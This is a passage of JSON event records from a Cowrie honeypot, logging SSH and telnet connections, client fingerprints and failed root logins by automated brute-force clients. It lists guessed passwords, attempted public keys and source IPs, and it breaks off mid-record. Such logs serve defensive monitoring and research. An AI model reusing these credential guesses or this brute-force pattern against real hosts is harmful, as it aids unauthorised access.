{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":33290,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3e7643ee759","protocol":"telnet","message":"New connection: 50.6.8.71:33290 (10.17.0.5:23) [session: a3e7643ee759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:23:32.351310Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":50276,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1ec149934fd","protocol":"ssh","message":"New connection: 87.251.79.125:50276 (10.17.0.5:22) [session: c1ec149934fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:23:40.224865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:23:40.230171Z","src_ip":"87.251.79.125","session":"c1ec149934fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:23:40.304022Z","src_ip":"87.251.79.125","session":"c1ec149934fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvzxcv","message":"login attempt [root/zxcvzxcv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:23:40.532011Z","src_ip":"87.251.79.125","session":"c1ec149934fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:23:41.608356Z","src_ip":"87.251.79.125","session":"c1ec149934fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.566959619522095,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:23:49.682137Z","src_ip":"50.6.8.71","session":"602173098c2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.142.3.73","src_port":7370,"dst_ip":"10.17.0.5","dst_port":22,"session":"1425630af7cf","protocol":"ssh","message":"New connection: 45.142.3.73:7370 (10.17.0.5:22) [session: 1425630af7cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:23:50.475837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:23:50.480538Z","src_ip":"45.142.3.73","session":"1425630af7cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:23:50.574943Z","src_ip":"45.142.3.73","session":"1425630af7cf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4b:92:30:58:97:21:46:4f:10:03:f6:4c:84:ed:60:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnWVzW3Eg/QaeVncz9HSu9d1u3zRtnULlDkJg03LPHzlQQdt8vdGyONvW01udeJNIKNFi5mCEMXZ3Bs0Q+zxO93GvwVLIzA9WB1o2c9iIn0W2osBqBxMqCuHRBTmEJBfbCf3P2AUC3U83N+/vGXPYTNUoUw18WW8//cTS4t8ch1wf1LeoAW2u5f+zWbfv41fP02ehJR8Xznu+S22IRqmmdeQ+ZBkQKRtA9pcpbE4AukskS8L7PFzPCpwRX06cZiMe3eYjhCLn/VNzvMKCtvSztd/cQihutXJ8oXrGYOWXIxRKNC6/JrsVLGX6htZtBZmRJW8cJpgOnqwYvyTgdR1vF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4b:92:30:58:97:21:46:4f:10:03:f6:4c:84:ed:60:d2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:23:51.023061Z","src_ip":"45.142.3.73","session":"1425630af7cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4b:92:30:58:97:21:46:4f:10:03:f6:4c:84:ed:60:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnWVzW3Eg/QaeVncz9HSu9d1u3zRtnULlDkJg03LPHzlQQdt8vdGyONvW01udeJNIKNFi5mCEMXZ3Bs0Q+zxO93GvwVLIzA9WB1o2c9iIn0W2osBqBxMqCuHRBTmEJBfbCf3P2AUC3U83N+/vGXPYTNUoUw18WW8//cTS4t8ch1wf1LeoAW2u5f+zWbfv41fP02ehJR8Xznu+S22IRqmmdeQ+ZBkQKRtA9pcpbE4AukskS8L7PFzPCpwRX06cZiMe3eYjhCLn/VNzvMKCtvSztd/cQihutXJ8oXrGYOWXIxRKNC6/JrsVLGX6htZtBZmRJW8cJpgOnqwYvyTgdR1vF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:23:51.026701Z","src_ip":"45.142.3.73","session":"1425630af7cf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b9:05:f9:9b:a9:06:1f:67:3b:10:90:f6:ee:f1:e2:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDI+IXl7ntkAJcbcbpeKICbbPb6dORpUhZg3YouJ5q/WsPMgeyadGMlZoA1p9F0IE+cSEYUZ3NSRuGPrcOThqY0D41Rt+wUUfhjclWzKvC+p3EU3gFneXYPUsVHL5uwDkQIvMlyADj7iZ8Spfrg6/8FNXsMHYVVdpON7+tLgxxQNI8w5VcKtMo7DEKQi6dtPCCsVkMr4K0ADq9fYOYXVONRQ2Wmuu9ShlSalufatpSHVx8GS2PLFR54G8TXq/0znT5C40sbTGCMutzQLJbrDzH1GBORigVVV/X2XiFh/wHMLz/wW1orH47NVtOyOZ3EaqUdC9aXRRcEJ2KxPB/sOz82Z82O+K3V3a5JRIo7iY95taOVKbXNGEvnBUW2IvXEYCgF6M1PrNrHNW9yp3iGbRnf0eYwX4DNNgTwIQs1IssQgmuiVaiYIBsjqJfK7g+ua+jZrCZy42RwjJj/nF7+lJzqJkCCIiWhBf5dxmab6wFSp//zbGJvP3tUCryQW5EJaDE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b9:05:f9:9b:a9:06:1f:67:3b:10:90:f6:ee:f1:e2:0f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:23:51.119066Z","src_ip":"45.142.3.73","session":"1425630af7cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b9:05:f9:9b:a9:06:1f:67:3b:10:90:f6:ee:f1:e2:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDI+IXl7ntkAJcbcbpeKICbbPb6dORpUhZg3YouJ5q/WsPMgeyadGMlZoA1p9F0IE+cSEYUZ3NSRuGPrcOThqY0D41Rt+wUUfhjclWzKvC+p3EU3gFneXYPUsVHL5uwDkQIvMlyADj7iZ8Spfrg6/8FNXsMHYVVdpON7+tLgxxQNI8w5VcKtMo7DEKQi6dtPCCsVkMr4K0ADq9fYOYXVONRQ2Wmuu9ShlSalufatpSHVx8GS2PLFR54G8TXq/0znT5C40sbTGCMutzQLJbrDzH1GBORigVVV/X2XiFh/wHMLz/wW1orH47NVtOyOZ3EaqUdC9aXRRcEJ2KxPB/sOz82Z82O+K3V3a5JRIo7iY95taOVKbXNGEvnBUW2IvXEYCgF6M1PrNrHNW9yp3iGbRnf0eYwX4DNNgTwIQs1IssQgmuiVaiYIBsjqJfK7g+ua+jZrCZy42RwjJj/nF7+lJzqJkCCIiWhBf5dxmab6wFSp//zbGJvP3tUCryQW5EJaDE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:23:51.122807Z","src_ip":"45.142.3.73","session":"1425630af7cf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"89:d1:ff:4c:c8:b0:71:a8:1e:31:03:47:c8:39:cc:f7","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDeMRTigSS631ojqkHEvPQSXx0/KfyERA5IgRzWrP+UE","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 89:d1:ff:4c:c8:b0:71:a8:1e:31:03:47:c8:39:cc:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:23:51.218011Z","src_ip":"45.142.3.73","session":"1425630af7cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"89:d1:ff:4c:c8:b0:71:a8:1e:31:03:47:c8:39:cc:f7","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDeMRTigSS631ojqkHEvPQSXx0/KfyERA5IgRzWrP+UE","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:23:51.222604Z","src_ip":"45.142.3.73","session":"1425630af7cf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"75:f8:dc:48:8a:cb:c1:be:ce:2a:eb:0f:b2:ed:52:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUvq6JCaOsvSwqrDkj7jNQxI7ImVKW7RGHbPfzag6xu1TnI3GZ20Jepqy0knT1hJ3S/5ij3N99babvt8AUbEgm9db9Ovrs1QU6PAIAwKh2c1bD5f/rfwW1e6iEf/MmCkHJ0S3xDDyRQgfCk1lVcSCgFIVzQthKOAn2BPnwqTdvBN7FPWLcOtHl3BbEafpcs/PAKsdcGQ1BvBudk1zru648VB64IoFcPrU3gpGBPyTSMEtW3dKjGeZPIX3vCvv36uvxeHvpiup4meG/lTyFr9W0r8sWAOqeHThyT4XjUiKJPej31eqPNyirNNhcXndbu4PYMZxYAIshdh14z1IWtStX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 75:f8:dc:48:8a:cb:c1:be:ce:2a:eb:0f:b2:ed:52:73","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:23:51.315710Z","src_ip":"45.142.3.73","session":"1425630af7cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"75:f8:dc:48:8a:cb:c1:be:ce:2a:eb:0f:b2:ed:52:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUvq6JCaOsvSwqrDkj7jNQxI7ImVKW7RGHbPfzag6xu1TnI3GZ20Jepqy0knT1hJ3S/5ij3N99babvt8AUbEgm9db9Ovrs1QU6PAIAwKh2c1bD5f/rfwW1e6iEf/MmCkHJ0S3xDDyRQgfCk1lVcSCgFIVzQthKOAn2BPnwqTdvBN7FPWLcOtHl3BbEafpcs/PAKsdcGQ1BvBudk1zru648VB64IoFcPrU3gpGBPyTSMEtW3dKjGeZPIX3vCvv36uvxeHvpiup4meG/lTyFr9W0r8sWAOqeHThyT4XjUiKJPej31eqPNyirNNhcXndbu4PYMZxYAIshdh14z1IWtStX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:23:51.319790Z","src_ip":"45.142.3.73","session":"1425630af7cf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d2:91:02:06:fa:0a:3c:a3:84:52:9a:bd:9b:46:75:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC56GYD+EpVZtRK0Sl04x+kwENCgbD8OgIwr9IzYoACMoXrDlfbBO7p/+reIDXok42HqEYWKBC4ZuEzpAJghndXWDI5d3O9JjYejq7VMLSs5I+j7+tkDAHXa2rqHy9VmZ2DnYVHml983C2CePTTdvIr3dhCKmIO84zx740RZIK4H7ESoWCdYUgeAAyPzm8DIU4T2GCppF+ueyHGCjfapS8bnOS7MIfBzQed+nmkfEw4ymVOOlqkKsbKkGMP+DA6Uy0zk7KmsJZBsBHroryxN6YCqkfaO1eSnW08vTNopeTCdgnrPxvh+bua7/QG6rmyJ6b4xQ6GuXobF0y5Ko5TAx6/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d2:91:02:06:fa:0a:3c:a3:84:52:9a:bd:9b:46:75:b5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:23:51.412336Z","src_ip":"45.142.3.73","session":"1425630af7cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d2:91:02:06:fa:0a:3c:a3:84:52:9a:bd:9b:46:75:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC56GYD+EpVZtRK0Sl04x+kwENCgbD8OgIwr9IzYoACMoXrDlfbBO7p/+reIDXok42HqEYWKBC4ZuEzpAJghndXWDI5d3O9JjYejq7VMLSs5I+j7+tkDAHXa2rqHy9VmZ2DnYVHml983C2CePTTdvIr3dhCKmIO84zx740RZIK4H7ESoWCdYUgeAAyPzm8DIU4T2GCppF+ueyHGCjfapS8bnOS7MIfBzQed+nmkfEw4ymVOOlqkKsbKkGMP+DA6Uy0zk7KmsJZBsBHroryxN6YCqkfaO1eSnW08vTNopeTCdgnrPxvh+bua7/QG6rmyJ6b4xQ6GuXobF0y5Ko5TAx6/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:23:51.416453Z","src_ip":"45.142.3.73","session":"1425630af7cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:23:51.509725Z","src_ip":"45.142.3.73","session":"1425630af7cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.415332317352295,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:24:05.766472Z","src_ip":"50.6.8.71","session":"a3e7643ee759","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34184,"dst_ip":"10.17.0.5","dst_port":23,"session":"31714fedb7cd","protocol":"telnet","message":"New connection: 50.6.8.71:34184 (10.17.0.5:23) [session: 31714fedb7cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:24:10.851178Z"}
{"eventid":"cowrie.session.closed","duration":32.653390884399414,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:24:43.504467Z","src_ip":"50.6.8.71","session":"31714fedb7cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":36218,"dst_ip":"159.203.135.109","dst_port":22,"session":"81686c1c1847","protocol":"ssh","message":"New connection: 103.195.236.96:36218 (159.203.135.109:22) [session: 81686c1c1847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:24:49.473012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:24:49.477704Z","src_ip":"103.195.236.96","session":"81686c1c1847","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:24:49.717523Z","src_ip":"103.195.236.96","session":"81686c1c1847","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"koshka","message":"login attempt [root/koshka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:24:50.435430Z","src_ip":"103.195.236.96","session":"81686c1c1847","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:24:51.670079Z","src_ip":"103.195.236.96","session":"81686c1c1847","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":57002,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc37b097dcdb","protocol":"ssh","message":"New connection: 103.183.114.55:57002 (159.203.135.109:22) [session: bc37b097dcdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:25:04.728545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:25:04.737982Z","src_ip":"103.183.114.55","session":"bc37b097dcdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:25:04.960736Z","src_ip":"103.183.114.55","session":"bc37b097dcdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"volume","message":"login attempt [root/volume] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:25:05.636582Z","src_ip":"103.183.114.55","session":"bc37b097dcdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:25:06.861850Z","src_ip":"103.183.114.55","session":"bc37b097dcdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":39938,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e5d9657688f","protocol":"ssh","message":"New connection: 103.173.227.57:39938 (159.203.135.109:22) [session: 1e5d9657688f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:25:21.367234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:25:21.371722Z","src_ip":"103.173.227.57","session":"1e5d9657688f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","s